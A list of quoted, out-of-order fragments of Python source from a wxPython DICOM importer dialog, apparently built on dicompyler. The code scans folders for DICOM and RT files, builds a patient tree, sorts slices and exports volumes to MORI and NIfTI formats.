"self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL,",
"(dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated == 16: image_array",
"' + str(len(patients)) + ' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr)",
"(' + patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll()",
"percentDone = int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone",
"length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else:",
"img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array =",
"s, slice in enumerate(sortednums): for i, image in enumerate(images): if (sort == 'IPP'):",
"== 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP']",
"path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data of the selected patient",
"differences in ImageOrientationPatient parallel = True for i, item in enumerate(images): if (i",
"os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File",
"the dose to the structure/study instead if not foundplan: if dose['hasgrid']: if dose['hasdvh']:",
"whether there is an rxdose if not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item)",
"Plan elif dp.ds.Modality in ['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans'] = {}",
"not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid'])",
"self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress",
"= [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while",
"try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format",
"hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files",
"'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj",
"= dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] =",
"= [] for i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope =",
"image numbers in ascending order else: sortednums = sorted(unsortednums, reverse=False) # Add the",
"rtplan files to the filearray if they exist if 'plans' in patient: for",
"= [] images = patient['images'] sort = 'IPP' # Determine if all images",
"of dicompyler, released under a BSD license. # See the file license.txt included",
"new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export in self.selected_exports: info",
"dose # Otherwise it is a currently unsupported file else: logger.info(\"%s is a",
"(series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7)",
"wx.DirDialog( self, defaultPath = self.path, message=\"Choose a directory containing DICOM RT files...\") if",
"logger.info('Adjusted parameters befor the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def",
"'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP'",
"# It's assumed that the reference (prescription) dose is in cGy. import hashlib,",
"RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data of the selected patient from the",
"or DVH' if (dose['summationtype'] == \"BEAM\"): name += \" (Beam \" + str(dose['beam'])",
"filearray.append(structure['filename']) # Add the respective rtplan files to the filearray if they exist",
"= dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is not a valid",
"structure in patient['structures'].items(): if 'rtss' in item: if (structureid == item['rtss']): filearray.append(structure['filename']) break",
"appendImage = True if appendImage: filearray.append(image['filename']) # Add the respective rtss files to",
"self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT Dose files",
"to %s', mori_fname) header_name = write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r') as",
"# Sort image numbers in descending order for head first patients if ('hf'",
"self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted",
"False planname = ' (' + plan['name'] + ')' if len(plan['name']) else \"\"",
"and if it is an RT plan or RT dose file self.txtRxDose.SetValue(rxdose) if",
"bar until it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the",
"to terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc,",
"structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True # If no series were",
"num, length, message): \"\"\"Update the DICOM Import process interface elements.\"\"\" if not length:",
"plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries =",
"self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not found' baddose =",
"incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id']",
"if 'images' in patient: sortedimages = [] unsortednums = [] sortednums = []",
"# Block until the thread is done before destroying the dialog if dlgDicomImporter:",
"dlgDicomImporter.ShowModal() # Save configure conf = {} with open('.dcmconverter.conf', 'w') as f: conf['path']",
"'Creating image array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import write_mori,",
"(AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is not a valid DICOM file.\", files[n])",
"files[n], dp.ds.SOPClassUID.name) # Call the progress function to update the gui wx.CallAfter(progressFunc, n,",
"dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName",
"indent=2, sort_keys=True) # Block until the thread is done before destroying the dialog",
"button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has data, check to",
"search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) #",
"dose, filearray, rxdose) # If no plans were found, add the dose to",
"'plans' in patient: for planid, plan in patient['plans'].items(): if (planid == item['rtplan']): if",
"= 'InstanceNumber' # Otherwise sort by Acquisition Number elif not (images[0].AcquisitionNumber == \\",
"(dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds",
"image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import",
"except: logger.info('Adjusted parameters befor the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked()",
"is not a valid DICOM file.\", files[n]) else: patient = dp.GetDemographics() h =",
"\"RT Structure Set not found\", 7) foundseries = True # If no series",
"'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo #",
"name = 'RT Dose without Dose Grid (DVH only)' else: name = 'RT",
"numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) # Search for RT",
"End the dialog since we are done with the import process if (message",
"out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if",
"OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree",
"= True # used for RT plan / dose if 'referenceframe' in item:",
"rx dose message and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the",
"# Sort in LPI order! Modified by CL.Wang # Sort image numbers in",
"i, image in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort",
"patient['structures'].items(): foundstructure = False if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5)",
"dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it",
"== 1): progressStr = 'Found 1 patient. Reading DICOM data...' elif (len(patients) >",
"\"\"\"Tell the directory search thread whether to terminate or not.\"\"\" return self.terminate def",
"output dir!') return if not self.output_name: self.AlertDialog('Please enter valid output file name!') return",
"message else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.') dlg = wx.MessageDialog( parent,",
"array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting",
"self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name']",
"the font of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font)",
"(percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the",
"a BSD license. # See the file license.txt included with this distribution, also",
"wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan,",
"conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir']",
"RxDose if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): if not",
"foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED)",
"all_export_threads] # wait all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether",
"for studyid, study in patient['studies'].items(): name = 'Study: ' + study['description'] study['treeid'] =",
"rtss, but ref'd rtplan, check rtplan->rtss if 'rtplan' in item: if 'plans' in",
"data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata == None): if 'rxdose' in",
"self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate",
"for seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] == dose['referenceframe']): badstructure",
"1): progressStr = 'Found 1 patient. Reading DICOM data...' elif (len(patients) > 1):",
"rxdose was found # and if it is an RT plan or RT",
"= np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32)",
"rxdose text box if no rxdose was found # and if it is",
"is an RT plan or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or",
"in patient: for structureid, structure in patient['structures'].items(): foundstructure = False if (structureid ==",
"dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it is",
"= 'Found ' + str(len(patients)) + ' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0,",
"'' self.output_name = '' # Set the dialog font and bold the font",
"f.read().splitlines() with open(header_name, 'w') as f: for field in origin_header_lines: # \\r\\n if",
"for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the tree",
"import write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name = write_mori(image_array, reso, mori_fname,",
"ipp1), dtype=np.int32))): parallel = False break # If the images are parallel, sort",
"origin_header_lines: # \\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field:",
"== \\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort by Acquisition Number elif",
"'IPP' else: # Otherwise sort by Instance Number if not (images[0].InstanceNumber == \\",
"in patient: for structureid, structure in patient['structures'].items(): if 'rtss' in item: if (structureid",
"select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has data, check",
"RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures']",
"a currently unsupported file else: logger.info(\"%s is a %s file and is not",
"str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray",
"patient: for structureid, structure in patient['structures'].items(): if 'rtss' in item: if (structureid ==",
"+= \" (Beam \" + str(dose['beam']) + \": \" if dose['beam'] in plan['beams']:",
"if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) #",
"resultFunc): \"\"\"Thread to start the directory search.\"\"\" # Call the progress function to",
"0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel",
"from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name = write_mori(image_array,",
"mori_fname, True) with open(header_name, 'r') as f: origin_header_lines = f.read().splitlines() with open(header_name, 'w')",
"self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True # If no structures were found, add",
"wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if",
"'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients')",
"logger.info(\"Output dir not exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = []",
"if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?')",
"True if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True if foundstructure: badplan = self.tcPatients.AppendItem(",
"hashlib, os, threading, functools, json, warnings from logging import getLogger, DEBUG, INFO logger",
"nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed') def OnConvert(self, evt):",
"dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) #",
"elif (len(patients) > 1): progressStr = 'Found ' + str(len(patients)) + ' patients.",
"(self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide the",
"h in self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient name = str(patient['name']) +",
"wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient):",
"'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital'",
"not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not found\",",
"update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if (len(patients) == 0):",
"= [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If no plans were found, add",
"self.patients = {} # Search subfolders by default self.import_search_subfolders = True # Set",
"[], rxdose = None): \"\"\"Enable an item to be selected in the tree",
"the respective rtss files to the filearray if they exist if 'structures' in",
"dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] =",
"# during the loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return",
"hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the",
"data, check to see whether there is an rxdose if not (self.tcPatients.GetItemData(item) ==",
"unsortednums = [] sortednums = [] images = patient['images'] sort = 'IPP' #",
"OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True def OnSpinOffset(self, evt): self.offset",
"dialog since we are done with the import process if (message == 'Importing",
"patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self,",
"DVH' else: if dose['hasdvh']: name = 'RT Dose without Dose Grid (DVH only)'",
"= [], rxdose = None): \"\"\"Enable an item to be selected in the",
"+ series['description'] + ' (' + modality + ', ' #numimages = str(series['numimages'])",
"name, 3) self.EnableItemSelection(patient, series, []) # Search for RT Structure Sets if 'structures'",
"in data: rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata ==",
"dose is in cGy. import hashlib, os, threading, functools, json, warnings from logging",
"os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return a dictionary",
"plan or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True)",
"= XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to the",
"True if appendImage: filearray.append(image['filename']) # Add the respective rtss files to the filearray",
"patients[h]['doses'][dose['id']] = dose # Otherwise it is a currently unsupported file else: logger.info(\"%s",
"part of dicompyler, released under a BSD license. # See the file license.txt",
"\"\"\"Prepare to show the dialog that will Import DICOM and DICOM RT files.\"\"\"",
"== dose['referenceframe']): foundstructure = True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan",
"in LPI order! Modified by CL.Wang # Sort image numbers in descending order",
"range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n]))",
"= [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name =",
"cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control for use.\"\"\" iSize = (16,16)",
"name = 'RT Structure Set: ' + structure['label'] for seriesid, series in patient['series'].items():",
"patient: sortedimages = [] unsortednums = [] sortednums = [] images = patient['images']",
"# Determine if all images in the series are parallel # by testing",
"Init(self, res): \"\"\"Method called after the panel has been initialized.\"\"\" # Set window",
"= self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If",
"'series' in item: if (item['series'] == image['series']): appendImage = True # used for",
"self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name = '' # Set the",
"+ ' images)' #name = name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3)",
"def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom series have been selected!') return",
"name, 5) foundstructure = True # If no structures were found, add the",
"a list to be sorted for i, image in enumerate(images): if (sort ==",
"Grid (DVH only)' else: name = 'RT Dose without Dose Grid or DVH'",
"'images' in patient: for imageid, image in patient['images'].items(): appendImage = False # used",
"seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info",
"* import numpy as np from dicompylercore import dicomparser from pyDcmConverter import guiutil,",
"files were found else: if 'structures' in patient: for structureid, structure in patient['structures'].items():",
"done before destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0)",
"patients tree control self.root = self.InitTree() # Initialize the patients dictionary self.patients =",
"if not 'structures' in patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id'] =",
"return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new dir [%s]\", self.output_dir)",
"if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each Series of",
"(DVH only)' else: name = 'RT Dose without Dose Grid or DVH' if",
"font and bold the font of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if",
"item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If no referenced",
"evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString()",
"7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8) dose['treeid']",
"# Add the respective images to the filearray if they exist if 'images'",
"False break # If the images are parallel, sort by ImagePositionPatient if parallel:",
"iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"the loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if (os.path.isfile(files[n])):",
"files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is not",
"if (series['numimages'] == 1) else str(series['numimages']) + ' images)' #name = name +",
"if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import",
"for structureid, structure in patient['structures'].items(): if 'plans' in patient: for planid, plan in",
"'rtss' in item: if (structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']):",
"if not foundplan: if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH'",
"parallel = True for i, item in enumerate(images): if (i > 0): iop0",
"elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif",
"# Disable Rx dose controls except on GTK due to control placement oddities",
"DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM",
"the directory selected by the user.\"\"\" self.terminate = True dlg = wx.DirDialog( self,",
"self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent",
"name += \")\" if \"dose\" in b: name += \" - Dose: \"",
"= False for seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] ==",
"EnableItemSelection(self, patient, item, filearray = [], rxdose = None): \"\"\"Enable an item to",
"for RT Plans if 'plans' in patient: for planid, plan in patient['plans'].items(): foundstructure",
"warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy as np from dicompylercore import",
"self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset =",
"Please select a valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self,",
"error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']]",
"# If no series were found, add the rtss to the study if",
"False for seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] == dose['referenceframe']):",
"self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name",
"affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed') def OnConvert(self, evt): if",
"Add the patient to the tree if they don't already exist if not",
"image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image #",
"dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n == 0): patient =",
"self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT,",
"self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel",
"in item: if (planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item})",
"util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'),",
"return root def AddPatientTree(self, patient): \"\"\"Add a new patient to the tree control.\"\"\"",
"self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start",
"found\", 7) foundseries = True # If no series were found, add the",
"value has changed # during the loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0,",
"threading, functools, json, warnings from logging import getLogger, DEBUG, INFO logger = getLogger('DcmConverter')",
"the thread is done before destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'):",
"patient name = str(patient['name']) + ' (' + patient['id'] + ')' self.patients[h]['treeid'] =",
"= dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each RT Plan elif dp.ds.Modality in",
"in the series are parallel # by testing for differences in ImageOrientationPatient parallel",
"\" + str(dose['beam']) + \": \" if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']]",
"self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num",
"for patients...') if (len(patients) == 0): progressStr = 'Found 0 patients.' elif (len(patients)",
"structureid, structure in patient['structures'].items(): foundstructure = False if 'rtss' in dose: if (structureid",
"INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import",
"dialog font and bold the font of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT)",
